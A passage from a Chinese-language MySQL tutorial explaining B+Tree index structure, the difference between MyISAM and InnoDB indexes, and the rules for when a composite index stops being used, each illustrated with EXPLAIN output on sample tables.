  • 真实的数据存在于叶子节点和非叶子节点中

【查找过程】

  • 如果要查找数据项 29， 那么首先会把磁盘块 1 由磁盘加载到内存， 此时发生一次 IO， 在内存中用二分查找确定 29在 17 和 35 之间， 锁定磁盘块 1 的 P2 指针， 内存时间因为非常短（相比磁盘的 IO） 可以忽略不计
  • 通过磁盘块 1的 P2 指针的磁盘地址把磁盘块 3 由磁盘加载到内存， 发生第二次 IO， 29 在 26 和 30 之间， 锁定磁盘块 3 的 P2 指针
  • 通过指针加载磁盘块 8 到内存， 发生第三次 IO， 同时内存中做二分查找找到 29， 结束查询， 总计三次 IO。

image.png

B+tree 索引

B+tree 索引搜索过程

【B+Tree 与 BTree 的区别】

B-树的关键字（数据项）和记录是放在一起的； B+树的非叶子节点中只有关键字和指向下一个节点的索引， 记录只放在叶子节点中。

【B+Tree 与 BTree 的查找过程】

  • 在 B 树中， 越靠近根节点的记录查找时间越快， 只要找到关键字即可确定记录的存在； 而 B+ 树中每个记录的查找时间基本是一样的， 都需要从根节点走到叶子节点， 而且在叶子节点中还要再比较关键字。
  • 从这个角度看 B 树的性能好像要比 B+ 树好， 而在实际应用中却是 B+ 树的性能要好些。 因为 B+ 树的非叶子节点不存放实际的数据，这样每个节点可容纳的元素个数比 B 树多， 树高比 B 树小， 这样带来的好处是减少磁盘访问次数。
  • 尽管 B+ 树找到一个记录所需的比较次数要比 B 树多， 但是一次磁盘访问的时间相当于成百上千次内存比较的时间， 因此实际中B+ 树的性能可能还会好些， 而且 B+树的叶子节点使用指针连接在一起， 方便顺序遍历（范围搜索）， 这也是很多数据库和文件系统使用 B+树的缘故。

【性能提升】

真实的情况是， 3 层的 B+ 树可以表示上百万的数据， 如果上百万的数据查找只需要三次 IO， 性能提高将是巨大的，如果没有索引， 每个数据项都要发生一次 IO， 那么总共需要百万次的 IO， 显然成本非常非常高。

【思考： 为什么说 B+树比 B-树更适合实际应用中操作系统的文件索引和数据库索引？】

  • B+树的磁盘读写代价更低：B+树的内部结点并没有指向关键字具体信息的指针。 因此其内部结点相对 B 树更小。 如果把所有同一内部结点的关键字存放在同一盘块中， 那么盘块所能容纳的关键字数量也越多。 一次性读入内存中的需要查找的关键字也就越多。 相对来说 IO 读写次数也就降低了。
  • B+树的查询效率更加稳定：由于非终结点并不是最终指向文件内容的结点， 而只是叶子结点中关键字的索引。 所以任何关键字的查找必须走一条从根结点到叶子结点的路。 所有关键字查询的路径长度相同， 导致每一个数据的查询效率相当。

image.png

非聚集索引(MyISAM)

  • B+树叶子节点只会存储数据行（数据文件）的指针，简单来说数据和索引不在一起，就是非聚集索引（InnoDB中的聚集索引：主键作为key，数据行作为value粗一起存储在一个叶子节点中）
  • 非聚集索引包括主键索引和辅助索引。

1.主键索引

image.png

这里设表有三列，假设我们在以Col1为主键，如下图所示，可以看出MyISAM的索引文件仅仅保存数据记录的地址。

image.png

2.辅助索引（次要索引）

在MyISAM中，主索引和辅助索引（Secondary key）在结构上没有任何区别，只是主索引要求key是唯一的，而辅助索引的key可以重复，如果我们在Col2上建立一个辅助索引，则此辅助索引的结构如下图所示

image.png

同样也是一颗B+Tree，data域保存数据记录的地址，因此，MyISAM中索引检索的算法为首先按照B+Tree搜索算法搜索索引，如果指定的key存在，则取出其data域的值，然后以data域的值为地址，读取相应的数据记录。

聚集索引(InnoDB)

  • 主键索引（聚集索引）的叶子节点会存储数据行，也就是说数据和索引是在一起的，相当于key是主键索引，value就是对应的记录行，这就是聚集索引。
  • 辅助索引只会存储索引与主键索引的映射关系，相当于key是索引，value就是对应的主键，找到对应的主键索引之后，接着再通过主键索引找到对应的数据行，这个过程也叫做回表，但是在覆盖索引的情况下不需要回表操作，因为覆盖索引所查询的列都存在于组成覆盖索引的列中，只需要通过覆盖索引查找数据返回即可。
  • 如果没有主键，则使用唯一索引建立聚集索引；如果没有唯一索引，MySQL会按照一定的规则创建聚集索引（一般会通过创建隐藏列建立唯一索引）

主键索引

InnoDB要求表必须有主键（MyISAM可以没有），如果没有显式指定，则MySQL系统会自动选择一个可以唯一标识数据记录的列作为主键，如果不存在这种列，则MySQL自动为InnoDB表生成一个隐含字段作为主键，类型为长整型。

image.png

上图是InnoDB主索引（同时也是数据文件）的示意图，可以看到叶子节点包含了完整的数据记录，这种索引叫做聚集索引，因为InnoDB的数据文件本身也是按照主键聚集的。

辅助索引（次要索引）

与MyISAM不同的是InnoDB的辅助索引的data域存储的是对应的主键列的值而不是数据行的地址，换句话说，InnoDB的所有辅助索引都引用主键作为data域。

image.png

如上图所示，name列作为辅助索引，首先通过该索引找到对应的主键值，接着再通过索引树查找主键索引，找到对应的记录行，如下图所示，聚集索引这种实现使得按主键的搜索十分高效，但是辅助索引搜索需要检索两遍索引，即首先检索辅助索引获得主键，然后用主键到主键索引中检索获得记录。

image.png

为什么不建议使用过长的字段作为主键？

因为所有辅助索引都引用主键，过长的主键会让辅助索引变得很大。同时，请尽量在InnoDB上采用自增字段做表的主键。

为什么使用组合索引？

为了节省MySQL索引存储空间以及提升搜索性能，可建立组合索引（能使用组合索引就不使用单列索引）。

何时需要建索引

哪些情况下适合建立索引

  • 主键自动建立唯一索引
  • 频繁作为查询的条件的字段应该创建索引
  • 查询中与其他表关联的字段，外键关系建立索引
  • 频繁更新的字段不适合创建索引
  • Where 条件里用不到的字段不创建索引
  • 单列/组合索引的选择问题，Who？（在高并发下倾向创建组合索引）
  • 查询中排序的字段，排序字段若通过索引去访问将大大提高排序的速度
  • 查询中统计或者分组字段

哪些情况不要创建索引

  • 表记录太少
  • 经常增删改的表
  • 数据重复且分布平均的表字段，因此应该只为经常查询和经常排序的数据列建立索引。注意，如果某个数据列包含许多重复的内容，为它建立索引就没有太大的实际效果。

案例分析：

  • 假如一个表有10万行记录，有一个字段A只有T和F两种值，且每个值的分布概率大约为50%，那么对这种表A字段建索引一般不会提高数据库的查询速度。
  • 索引的选择性是指索引列中不同值的数目与表中记录数的比。如果一个表中有2000条记录，表索引列有1980个不同的值，那么这个索引的选择性就是1980/2000=0.99。
  • 一个索引的选择性越接近于1，这个索引的效率就越高。

索引失效

索引失效（应该避免）

  • 建表 SQL
1
2
3
4
5
6
7
8
9
10
11
12
13
mysql复制代码CREATE TABLE staffs(
	id INT PRIMARY KEY AUTO_INCREMENT,
	`name` VARCHAR(24)NOT NULL DEFAULT'' COMMENT'姓名',
	`age` INT NOT NULL DEFAULT 0 COMMENT'年龄',
	`pos` VARCHAR(20) NOT NULL DEFAULT'' COMMENT'职位',
	`add_time` TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP COMMENT'入职时间'
)CHARSET utf8 COMMENT'员工记录表';

INSERT INTO staffs(`name`,`age`,`pos`,`add_time`) VALUES('z3',22,'manager',NOW());
INSERT INTO staffs(`name`,`age`,`pos`,`add_time`) VALUES('July',23,'dev',NOW());
INSERT INTO staffs(`name`,`age`,`pos`,`add_time`) VALUES('2000',23,'dev',NOW());

ALTER TABLE staffs ADD INDEX index_staffs_nameAgePos(`name`,`age`,`pos`);
  • staffs 表中的测试数据
1
2
3
4
5
6
7
8
9
mysql复制代码mysql> select * from staffs;
+----+------+-----+---------+---------------------+
| id | name | age | pos     | add_time            |
+----+------+-----+---------+---------------------+
|  1 | z3   |  22 | manager | 2020-08-04 14:42:33 |
|  2 | July |  23 | dev     | 2020-08-04 14:42:33 |
|  3 | 2000 |  23 | dev     | 2020-08-04 14:42:33 |
+----+------+-----+---------+---------------------+
3 rows in set (0.00 sec)
  • staffs 表中的复合索引：name、age、pos
1
2
3
4
5
6
7
8
9
10
mysql复制代码mysql> SHOW INDEX FROM staffs;
+--------+------------+-------------------------+--------------+-------------+-----------+-------------+----------+--------+------+------------+---------+---------------+
| Table  | Non_unique | Key_name                | Seq_in_index | Column_name | Collation | Cardinality | Sub_part | Packed | Null | Index_type | Comment | Index_comment |
+--------+------------+-------------------------+--------------+-------------+-----------+-------------+----------+--------+------+------------+---------+---------------+
| staffs |          0 | PRIMARY                 |            1 | id          | A         |           3 |     NULL | NULL   |      | BTREE      |         |               |
| staffs |          1 | index_staffs_nameAgePos |            1 | name        | A         |           3 |     NULL | NULL   |      | BTREE      |         |               |
| staffs |          1 | index_staffs_nameAgePos |            2 | age         | A         |           3 |     NULL | NULL   |      | BTREE      |         |               |
| staffs |          1 | index_staffs_nameAgePos |            3 | pos         | A         |           3 |     NULL | NULL   |      | BTREE      |         |               |
+--------+------------+-------------------------+--------------+-------------+-----------+-------------+----------+--------+------+------------+---------+---------------+
4 rows in set (0.00 sec)

索引失效准则

索引失效判断准则

  • 全值匹配我最爱
  • 最佳左前缀法则：如果索引了多例，要遵守最左前缀法则。指的是查询从索引的最左前列开始并且不跳过索引中的列。
  • 不在索引列上做任何操作（计算、函数、（自动or手动）类型转换），会导致索引失效而转向全表扫描
  • 存储引擎不能使用索引中范围条件右边的列
  • 尽量使用覆盖索引（只访问索引的查询（索引列和查询列一致）），减少select *
  • mysql在使用不等于（!=或者<>）的时候无法使用索引会导致全表扫描
  • is null，is not null 也无法使用索引（早期版本不能走索引，后续版本应该优化过，可以走索引）
  • like以通配符开头（’%abc…’）mysql索引失效会变成全表扫描操作
  • 字符串不加单引号索引失效
  • 少用or，用它连接时会索引失效

最佳左匹配法则：带头大哥不能死，中间兄弟不能断

1.只有带头大哥 name 时

  • key = index_staffs_nameAgePos 表明索引生效
  • ref = const ：这个常量就是查询时的 ‘July’ 字符串常量
1
2
3
4
5
6
7
mysql复制代码mysql> EXPLAIN SELECT * FROM staffs WHERE name = 'July';
+----+-------------+--------+------+-------------------------+-------------------------+---------+-------+------+-----------------------+
| id | select_type | table  | type | possible_keys           | key                     | key_len | ref   | rows | Extra                 |
+----+-------------+--------+------+-------------------------+-------------------------+---------+-------+------+-----------------------+
|  1 | SIMPLE      | staffs | ref  | index_staffs_nameAgePos | index_staffs_nameAgePos | 74      | const |    1 | Using index condition |
+----+-------------+--------+------+-------------------------+-------------------------+---------+-------+------+-----------------------+
1 row in set (0.00 sec)

2.带头大哥 name 带上小弟 age

  • key = index_staffs_nameAgePos 表明索引生效
  • ref = const,const：两个常量分别为 ‘July’ 和 23
1
2
3
4
5
6
7
mysql复制代码mysql> EXPLAIN SELECT * FROM staffs WHERE name = 'July'AND age = 23;
+----+-------------+--------+------+-------------------------+-------------------------+---------+-------------+------+-----------------------+
| id | select_type | table  | type | possible_keys           | key                     | key_len | ref         | rows | Extra                 |
+----+-------------+--------+------+-------------------------+-------------------------+---------+-------------+------+-----------------------+
|  1 | SIMPLE      | staffs | ref  | index_staffs_nameAgePos | index_staffs_nameAgePos | 78      | const,const |    1 | Using index condition |
+----+-------------+--------+------+-------------------------+-------------------------+---------+-------------+------+-----------------------+
1 row in set (0.00 sec)

3.带头大哥 name 带上小弟 age ，小弟 age 带上小小弟 pos

  • key = index_staffs_nameAgePos 表明索引生效
  • ref = const,const,const ：三个常量分别为 ‘July’、23 和 ‘dev’
1
2
3
4
5
6
7
mysql复制代码mysql> EXPLAIN SELECT * FROM staffs WHERE name = 'July'AND age = 23 AND pos = 'dev';
+----+-------------+--------+------+-------------------------+-------------------------+---------+-------------------+------+-----------------------+
| id | select_type | table  | type | possible_keys           | key                     | key_len | ref               | rows | Extra                 |
+----+-------------+--------+------+-------------------------+-------------------------+---------+-------------------+------+-----------------------+
|  1 | SIMPLE      | staffs | ref  | index_staffs_nameAgePos | index_staffs_nameAgePos | 140     | const,const,const |    1 | Using index condition |
+----+-------------+--------+------+-------------------------+-------------------------+---------+-------------------+------+-----------------------+
1 row in set (0.00 sec)

4.带头大哥 name 挂了

  • key = NULL 说明索引失效
  • ref = null 表示 ref 也失效
1
2
3
4
5
6
7
mysql复制代码mysql> EXPLAIN SELECT * FROM staffs WHERE age = 23 AND pos = 'dev';
+----+-------------+--------+------+---------------+------+---------+------+------+-------------+
| id | select_type | table  | type | possible_keys | key  | key_len | ref  | rows | Extra       |
+----+-------------+--------+------+---------------+------+---------+------+------+-------------+
|  1 | SIMPLE      | staffs | ALL  | NULL          | NULL | NULL    | NULL |    3 | Using where |
+----+-------------+--------+------+---------------+------+---------+------+------+-------------+
1 row in set (0.00 sec)

5.带头大哥 name 没挂，小弟 age 跑了，即中间兄弟断了

  • key = index_staffs_nameAgePos 说明索引没有失效
  • ref = const 表明只使用了一个常量，即第二个常量（pos = ‘dev’）没有生效
1
2
3
4
5
6
7
mysql复制代码mysql> EXPLAIN SELECT * FROM staffs WHERE name = 'July'AND pos = 'dev';
+----+-------------+--------+------+-------------------------+-------------------------+---------+-------+------+-----------------------+
| id | select_type | table  | type | possible_keys           | key                     | key_len | ref   | rows | Extra                 |
+----+-------------+--------+------+-------------------------+-------------------------+---------+-------+------+-----------------------+
|  1 | SIMPLE      | staffs | ref  | index_staffs_nameAgePos | index_staffs_nameAgePos | 74      | const |    1 | Using index condition |
+----+-------------+--------+------+-------------------------+-------------------------+---------+-------+------+-----------------------+
1 row in set (0.00 sec)

在索引列上进行计算，会导致索引失效，进而转向全表扫描

1.不对带头大哥 name 进行任何操作：key = index_staffs_nameAgePos 表明索引生效

1
2
3
4
5
6
7
mysql复制代码mysql> EXPLAIN SELECT * FROM staffs WHERE name = 'July';
+----+-------------+--------+------+-------------------------+-------------------------+---------+-------+------+-----------------------+
| id | select_type | table  | type | possible_keys           | key                     | key_len | ref   | rows | Extra                 |
+----+-------------+--------+------+-------------------------+-------------------------+---------+-------+------+-----------------------+
|  1 | SIMPLE      | staffs | ref  | index_staffs_nameAgePos | index_staffs_nameAgePos | 74      | const |    1 | Using index condition |
+----+-------------+--------+------+-------------------------+-------------------------+---------+-------+------+-----------------------+
1 row in set (0.00 sec)

2.对带头大哥 name 进行操作：使用 LEFT 函数截取子串

  • key = NULL 表明索引生效
  • type = ALL 表明进行了全表扫描
1
2
3
4
5
6
7
mysql复制代码mysql> EXPLAIN SELECT * FROM staffs WHERE LEFT(name,4) = 'July';
+----+-------------+--------+------+---------------+------+---------+------+------+-------------+
| id | select_type | table  | type | possible_keys | key  | key_len | ref  | rows | Extra       |
+----+-------------+--------+------+---------------+------+---------+------+------+-------------+
|  1 | SIMPLE      | staffs | ALL  | NULL          | NULL | NULL    | NULL |    3 | Using where |
+----+-------------+--------+------+---------------+------+---------+------+------+-------------+
1 row in set (0.00 sec)

范围之后全失效

1.精确匹配

  • type = ref 表示非唯一索引扫描，SQL 语句将返回匹配某个单独值的所有行。
  • key_len = 140 表明表示索引中使用的字节数
1
2
3
4
5
6
7
mysql复制代码mysql> EXPLAIN SELECT * FROM staffs WHERE name = 'July'AND age = 23 AND pos = 'dev';
+----+-------------+--------+------+-------------------------+-------------------------+---------+-------------------+------+-----------------------+
| id | select_type | table  | type | possible_keys           | key                     | key_len | ref               | rows | Extra                 |
+----+-------------+--------+------+-------------------------+-------------------------+---------+-------------------+------+-----------------------+
|  1 | SIMPLE      | staffs | ref  | index_staffs_nameAgePos | index_staffs_nameAgePos | 140     | const,const,const |    1 | Using index condition |
+----+-------------+--------+------+-------------------------+-------------------------+---------+-------------------+------+-----------------------+
1 row in set (0.00 sec)

2.将 age 改为范围匹配

  • type = range 表示范围扫描
  • key = index_staffs_nameAgePos 表示索引并没有失效
  • key_len = 78 ，ref = NULL 均表明范围搜索使其后面的索引均失效
1
2
3
4
5
6
7
mysql复制代码mysql> EXPLAIN SELECT * FROM staffs WHERE name = 'July'AND age > 23 AND pos = 'dev';
+----+-------------+--------+-------+-------------------------+-------------------------+---------+------+------+-----------------------+
| id | select_type | table  | type  | possible_keys           | key                     | key_len | ref  | rows | Extra                 |
+----+-------------+--------+-------+-------------------------+-------------------------+---------+------+------+-----------------------+
|  1 | SIMPLE      | staffs | range | index_staffs_nameAgePos | index_staffs_nameAgePos | 78      | NULL |    1 | Using index condition |
+----+-------------+--------+-------+-------------------------+-------------------------+---------+------+------+-----------------------+
1 row in set (0.00 sec)

尽量使用覆盖索引（只访问索引的查询（索引列和查询列一致）），减少 select *

1.SELECT * 的写法

1
2
3
4
5
6
7
mysql复制代码mysql> EXPLAIN SELECT * FROM staffs WHERE name = 'July'AND age > 23 AND pos = 'dev';
+----+-------------+--------+-------+-------------------------+-------------------------+---------+------+------+-----------------------+
| id | select_type | table  | type  | possible_keys           | key                     | key_len | ref  | rows | Extra                 |
+----+-------------+--------+-------+-------------------------+-------------------------+---------+------+------+-----------------------+
|  1 | SIMPLE      | staffs | range | index_staffs_nameAgePos | index_staffs_nameAgePos | 78      | NULL |    1 | Using index condition |
+----+-------------+--------+-------+-------------------------+-------------------------+---------+------+------+-----------------------+
1 row in set (0.00 sec)

2.覆盖索引的写法：Extra = Using where; Using index ，Using index 表示使用索引列进行查询，将大大提高查询的效率

1
2
3
4
5
6
7
mysql复制代码mysql> EXPLAIN SELECT name, age, pos FROM staffs WHERE name = 'July'AND age = 23 AND pos = 'dev';
+----+-------------+--------+------+-------------------------+-------------------------+---------+-------------------+------+--------------------------+
| id | select_type | table  | type | possible_keys           | key                     | key_len | ref               | rows | Extra                    |
+----+-------------+--------+------+-------------------------+-------------------------+---------+-------------------+------+--------------------------+
|  1 | SIMPLE      | staffs | ref  | index_staffs_nameAgePos | index_staffs_nameAgePos | 140     | const,const,const |    1 | Using where; Using index |
+----+-------------+--------+------+-------------------------+-------------------------+---------+-------------------+------+--------------------------+
1 row in set (0.00 sec)

3.覆盖索引中包含 range 条件：type = ref 并且 Extra = Using where; Using index ，虽然在查询条件中使用了 范围搜索，但是由于我们只需要查找索引列，所以无需进行全表扫描

1
2
3
4
5
6
7
mysql复制代码mysql> EXPLAIN SELECT name, age, pos FROM staffs WHERE name = 'July'AND age > 23 AND pos = 'dev';
+----+-------------+--------+------+-------------------------+-------------------------+---------+-------+------+--------------------------+
| id | select_type | table  | type | possible_keys           | key                     | key_len | ref   | rows | Extra                    |
+----+-------------+--------+------+-------------------------+-------------------------+---------+-------+------+--------------------------+
|  1 | SIMPLE      | staffs | ref  | index_staffs_nameAgePos | index_staffs_nameAgePos | 74      | const |    1 | Using where; Using index |
+----+-------------+--------+------+-------------------------+-------------------------+---------+-------+------+--------------------------+
1 row in set (0.00 sec)

mysql在使用不等于（!=或者<>）的时候无法使用索引会导致全表扫描

在使用 != 会 <> 时会导致索引失效：

  • key = null 表示索引失效
  • rows = 3 表示进行了全表扫描
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
mysql复制代码mysql> EXPLAIN SELECT * FROM staffs WHERE name != 'July';
+----+-------------+--------+------+-------------------------+------+---------+------+------+-------------+
| id | select_type | table  | type | possible_keys           | key  | key_len | ref  | rows | Extra       |
+----+-------------+--------+------+-------------------------+------+---------+------+------+-------------+
|  1 | SIMPLE      | staffs | ALL  | index_staffs_nameAgePos | NULL | NULL    | NULL |    3 | Using where |
+----+-------------+--------+------+-------------------------+------+---------+------+------+-------------+
1 row in set (0.00 sec)

mysql> EXPLAIN SELECT * FROM staffs WHERE name <> 'July';
+----+-------------+--------+------+-------------------------+------+---------+------+------+-------------+
| id | select_type | table  | type | possible_keys           | key  | key_len | ref  | rows | Extra       |
+----+-------------+--------+------+-------------------------+------+---------+------+------+-------------+
|  1 | SIMPLE      | staffs | ALL  | index_staffs_nameAgePos | NULL | NULL    | NULL |    3 | Using where |
+----+-------------+--------+------+-------------------------+------+---------+------+------+-------------+
1 row in set (0.00 sec)

is null，is not null 也无法使用索引

is null，is not null 会导致索引失效：key = null 表示索引失效

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
mysql复制代码ysql> EXPLAIN SELECT * FROM staffs WHERE name is null;
+----+-------------+-------+------+---------------+------+---------+------+------+------------------+
| id | select_type | table | type | possible_keys | key  | key_len | ref  | rows | Extra            |
+----+-------------+-------+------+---------------+------+---------+------+------+------------------+
|  1 | SIMPLE      | NULL  | NULL | NULL          | NULL | NULL    | NULL | NULL | Impossible WHERE |
+----+-------------+-------+------+---------------+------+---------+------+------+------------------+
1 row in set (0.00 sec)

mysql> EXPLAIN SELECT * FROM staffs WHERE name is not null;
+----+-------------+--------+------+-------------------------+------+---------+------+------+-------------+
| id | select_type | table  | type | possible_keys           | key  | key_len | ref  | rows | Extra       |
+----+-------------+--------+------+-------------------------+------+---------+------+------+-------------+
|  1 | SIMPLE      | staffs | ALL  | index_staffs_nameAgePos | NULL | NULL    | NULL |    3 | Using where |
+----+-------------+--------+------+-------------------------+------+---------+------+------+-------------+
1 row in set (0.00 sec)

like % 写最右

staffs 表的索引关系

1
2
3
4
5
6
7
8
9
10
mysql复制代码mysql> SHOW INDEX from staffs;
+--------+------------+-------------------------+--------------+-------------+-----------+-------------+----------+--------+------+------------+---------+---------------+
| Table  | Non_unique | Key_name                | Seq_in_index | Column_name | Collation | Cardinality | Sub_part | Packed | Null | Index_type | Comment | Index_comment |
+--------+------------+-------------------------+--------------+-------------+-----------+-------------+----------+--------+------+------------+---------+---------------+
| staffs |          0 | PRIMARY                 |            1 | id          | A         |           3 |     NULL | NULL   |      | BTREE      |         |               |
| staffs |          1 | index_staffs_nameAgePos |            1 | name        | A         |           3 |     NULL | NULL   |      | BTREE      |         |               |
| staffs |          1 | index_staffs_nameAgePos |            2 | age         | A         |           3 |     NULL | NULL   |      | BTREE      |         |               |
| staffs |          1 | index_staffs_nameAgePos |            3 | pos         | A         |           3 |     NULL | NULL   |      | BTREE      |         |               |
+--------+------------+-------------------------+--------------+-------------+-----------+-------------+----------+--------+------+------------+---------+---------------+
4 rows in set (0.00 sec)

1.like % 写在左边的情况

  • type = All ，rows = 3 表示进行了全表扫描
  • key = null 表示索引失效
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
mysql复制代码mysql> EXPLAIN SELECT * FROM staffs WHERE name like '%July';
+----+-------------+--------+------+---------------+------+---------+------+------+-------------+
| id | select_type | table  | type | possible_keys | key  | key_len | ref  | rows | Extra       |
+----+-------------+--------+------+---------------+------+---------+------+------+-------------+
|  1 | SIMPLE      | staffs | ALL  | NULL          | NULL | NULL    | NULL |    3 | Using where |
+----+-------------+--------+------+---------------+------+---------+------+------+-------------+
1 row in set (0.00 sec)

mysql> EXPLAIN SELECT * FROM staffs WHERE name like '%July%';
+----+-------------+--------+------+---------------+------+---------+------+------+-------------+
| id | select_type | table  | type | possible_keys | key  | key_len | ref  | rows | Extra       |
+----+-------------+--------+------+---------------+------+---------+------+------+-------------+
|  1 | SIMPLE      | staffs | ALL  | NULL          | NULL | NULL    | NULL |    3 | Using where |
+----+-------------+--------+------+---------------+------+---------+------+------+-------------+
1 row in set (0.00 sec)

2.like % 写在右边的情况：key = index_staffs_nameAgePos 表示索引未失效

1
2
3
4
5
6
7
mysql复制代码mysql> EXPLAIN SELECT * FROM staffs WHERE name like 'July%';
+----+-------------+--------+-------+-------------------------+-------------------------+---------+------+------+-----------------------+
| id | select_type | table  | type  | possible_keys           | key                     | key_len | ref  | rows | Extra                 |
+----+-------------+--------+-------+-------------------------+-------------------------+---------+------+------+-----------------------+
|  1 | SIMPLE      | staffs | range | index_staffs_nameAgePos | index_staffs_nameAgePos | 74      | NULL |    1 | Using index condition |
+----+-------------+--------+-------+-------------------------+-------------------------+---------+------+------+-----------------------+
1 row in set (0.00 sec)

解决【like ‘%str%’ 】索引失效的问题：覆盖索引

创建表

1
2
3
4
5
6
7
8
9
10
11
12
mysql复制代码CREATE TABLE `tbl_user`(
	`id` INT(11) NOT NULL AUTO_INCREMENT,
	`name` VARCHAR(20) DEFAULT NULL,
	`age`INT(11) DEFAULT NULL,
	`email` VARCHAR(20) DEFAULT NULL,
	PRIMARY KEY(`id`)
)ENGINE=INNODB AUTO_INCREMENT=1 DEFAULT CHARSET=utf8;

INSERT INTO tbl_user(`name`,`age`,`email`)VALUES('1aa1',21,'a@163.com');
INSERT INTO tbl_user(`name`,`age`,`email`)VALUES('2bb2',23,'b@163.com');
INSERT INTO tbl_user(`name`,`age`,`email`)VALUES('3cc3',24,'c@163.com');
INSERT INTO tbl_user(`name`,`age`,`email`)VALUES('4dd4',26,'d@163.com');

tbl_user 表中的测试数据

1
2
3
4
5
6
7
8
9
10
mysql复制代码mysql> select * from tbl_user;
+----+------+------+-----------+
| id | name | age  | email     |
+----+------+------+-----------+
|  1 | 1aa1 |   21 | a@163.com |
|  2 | 2bb2 |   23 | b@163.com |
|  3 | 3cc3 |   24 | c@163.com |
|  4 | 4dd4 |   26 | d@163.com |
+----+------+------+-----------+
4 rows in set (0.00 sec)

创建索引

1.创建索引的 SQL 指令

1
mysql复制代码CREATE INDEX idx_user_nameAge ON tbl_user(name, age);

2.在 tbl_user 表的 name 字段和 age 字段创建联合索引

1
2
3
4
5
6
7
8
9
10
11
12
13
mysql复制代码mysql> CREATE INDEX idx_user_nameAge ON tbl_user(name, age);
Query OK, 0 rows affected (0.05 sec)
Records: 0  Duplicates: 0  Warnings: 0

mysql> SHOW INDEX FROM tbl_user;
+----------+------------+------------------+--------------+-------------+-----------+-------------+----------+--------+------+------------+---------+---------------+
| Table    | Non_unique | Key_name         | Seq_in_index | Column_name | Collation | Cardinality | Sub_part | Packed | Null | Index_type | Comment | Index_comment |
+----------+------------+------------------+--------------+-------------+-----------+-------------+----------+--------+------+------------+---------+---------------+
| tbl_user |          0 | PRIMARY          |            1 | id          | A         |           4 |     NULL | NULL   |      | BTREE      |         |               |
| tbl_user |          1 | idx_user_nameAge |            1 | name        | A         |           4 |     NULL | NULL   | YES  | BTREE      |         |               |
| tbl_user |          1 | idx_user_nameAge |            2 | age         | A         |           4 |     NULL | NULL   | YES  | BTREE      |         |               |
+----------+------------+------------------+--------------+-------------+-----------+-------------+----------+--------+------+------------+---------+---------------+
3 rows in set (0.00 sec)

测试覆盖索引

  • 如下 SQL 的索引均不会失效：
+ 只要查询的字段能和覆盖索引扯得上关系，并且没有多余字段，覆盖索引就不会失效
+ 但我就想不通了，id 扯得上啥关系。。。
1
2
3
4
5
6
7
8
9
mysql复制代码EXPLAIN SELECT name, age FROM tbl_user WHERE NAME LIKE '%aa%';

EXPLAIN SELECT name FROM tbl_user WHERE NAME LIKE '%aa%';
EXPLAIN SELECT age FROM tbl_user WHERE NAME LIKE '%aa%';

EXPLAIN SELECT id FROM tbl_user WHERE NAME LIKE '%aa%';
EXPLAIN SELECT id, name FROM tbl_user WHERE NAME LIKE '%aa%';
EXPLAIN SELECT id, age FROM tbl_user WHERE NAME LIKE '%aa%';
EXPLAIN SELECT id, name, age FROM tbl_user WHERE NAME LIKE '%aa%';
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
mysql复制代码mysql> EXPLAIN SELECT id FROM tbl_user WHERE NAME LIKE '%aa%';
+----+-------------+----------+-------+---------------+------------------+---------+------+------+--------------------------+
| id | select_type | table    | type  | possible_keys | key              | key_len | ref  | rows | Extra                    |
+----+-------------+----------+-------+---------------+------------------+---------+------+------+--------------------------+
|  1 | SIMPLE      | tbl_user | index | NULL          | idx_user_nameAge | 68      | NULL |    4 | Using where; Using index |
+----+-------------+----------+-------+---------------+------------------+---------+------+------+--------------------------+
1 row in set (0.00 sec)

mysql> EXPLAIN SELECT name, age FROM tbl_user WHERE NAME LIKE '%aa%';
+----+-------------+----------+-------+---------------+------------------+---------+------+------+--------------------------+
| id | select_type | table    | type  | possible_keys | key              | key_len | ref  | rows | Extra                    |
+----+-------------+----------+-------+---------------+------------------+---------+------+------+--------------------------+
|  1 | SIMPLE      | tbl_user | index | NULL          | idx_user_nameAge | 68      | NULL |    4 | Using where; Using index |
+----+-------------+----------+-------+---------------+------------------+---------+------+------+--------------------------+
1 row in set (0.00 sec)
  • 如下 SQL 的索引均会失效：但凡有多余字段，覆盖索引就会失效
1
2
mysql复制代码EXPLAIN SELECT * FROM tbl_user WHERE NAME LIKE '%aa%';
EXPLAIN SELECT id, name, age, email FROM tbl_user WHERE NAME LIKE '%aa%';
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
mysql复制代码mysql> EXPLAIN SELECT * FROM tbl_user WHERE NAME LIKE '%aa%';
+----+-------------+----------+------+---------------+------+---------+------+------+-------------+
| id | select_type | table    | type | possible_keys | key  | key_len | ref  | rows | Extra       |
+----+-------------+----------+------+---------------+------+---------+------+------+-------------+
|  1 | SIMPLE      | tbl_user | ALL  | NULL          | NULL | NULL    | NULL |    4 | Using where |
+----+-------------+----------+------+---------------+------+---------+------+------+-------------+
1 row in set (0.00 sec)

mysql> EXPLAIN SELECT id, name, age, email FROM tbl_user WHERE NAME LIKE '%aa%';
+----+-------------+----------+------+---------------+------+---------+------+------+-------------+
| id | select_type | table    | type | possible_keys | key  | key_len | ref  | rows | Extra       |
+----+-------------+----------+------+---------------+------+---------+------+------+-------------+
|  1 | SIMPLE      | tbl_user | ALL  | NULL          | NULL | NULL    | NULL |    4 | Using where |
+----+-------------+----------+------+---------------+------+---------+------+------+-------------+
1 row in set (0.00 sec)

字符串不加单引号索引失效

1.正常操作，索引没有失效

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
mysql复制代码mysql> SHOW INDEX FROM staffs;
+--------+------------+-------------------------+--------------+-------------+-----------+-------------+----------+--------+------+------------+---------+---------------+
| Table  | Non_unique | Key_name                | Seq_in_index | Column_name | Collation | Cardinality | Sub_part | Packed | Null | Index_type | Comment | Index_comment |
+--------+------------+-------------------------+--------------+-------------+-----------+-------------+----------+--------+------+------------+---------+---------------+
| staffs |          0 | PRIMARY                 |            1 | id          | A         |           3 |     NULL | NULL   |      | BTREE      |         |               |
| staffs |          1 | index_staffs_nameAgePos |            1 | name        | A         |           3 |     NULL | NULL   |      | BTREE      |         |               |
| staffs |          1 | index_staffs_nameAgePos |            2 | age         | A         |           3 |     NULL | NULL   |      | BTREE      |         |               |
